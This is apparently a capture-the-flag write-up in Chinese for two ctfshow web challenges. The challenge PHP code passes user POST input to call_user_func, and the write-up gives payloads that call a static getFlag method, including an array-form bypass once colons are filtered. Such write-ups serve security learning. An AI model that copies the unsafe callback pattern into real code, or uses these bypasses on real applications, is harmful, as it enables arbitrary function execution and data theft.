web137

```
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    function __wakeup(){
        die("private class");
    }
    static function getFlag(){
        echo file_get_contents("flag.php");
    }
}
call_user_func($_POST['ctfshow']);</pre>

直接调用ctfshow类中的getFlag方法,这里利用::
```

payload

post:

```
ctfshow=ctfshow::getFlag
得到flag
   44 $f1ag="ctfshow{20ba76f1-8432-44e8-8bfb-47e6d58f86cb}";
 🕝 🖪 HackBar 📵 HackBar 🗘 查看器 🖸 控制台 🗅 调试器 🖊 网络 {} 样式编辑器 🕡 性能 🕼 🗆
   LOAD
         ▼ SPLIT
                     EXECUTE
                                TEST ▼
                                          SQLI ▼
                                                   XSS -
                                                                   SSRF ▼
                                                           LFI ▼
 <
  URL
  https://671f3bf3-3316-4f22-91c5-a228bcd4d207.challenge.ctf.show/
      Use POST method
                                             application/x-www-form-urlencoded
  Body
  ctfshow=ctfshow%3A%3AgetFlag
```

web138

```
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
   function __wakeup(){</pre>
```

```
die("private class");
}
static function getFlag(){
    echo file_get_contents("flag.php");
}
if(strripos($_POST['ctfshow'], ":")>-1){
    die("private function");
}
call_user_func($_POST['ctfshow']);
```

在前一题基础上把冒号给ban了,但 call_user_func 支持传入数组形式

```
call_user_func(array($ctfshow, 'getFlag'));

这时候会调用ctfshow中的getFlag方法
```

payload

```
ctfshow[0]=ctfshow&ctfshow[1]=getFlag
```

得到flag

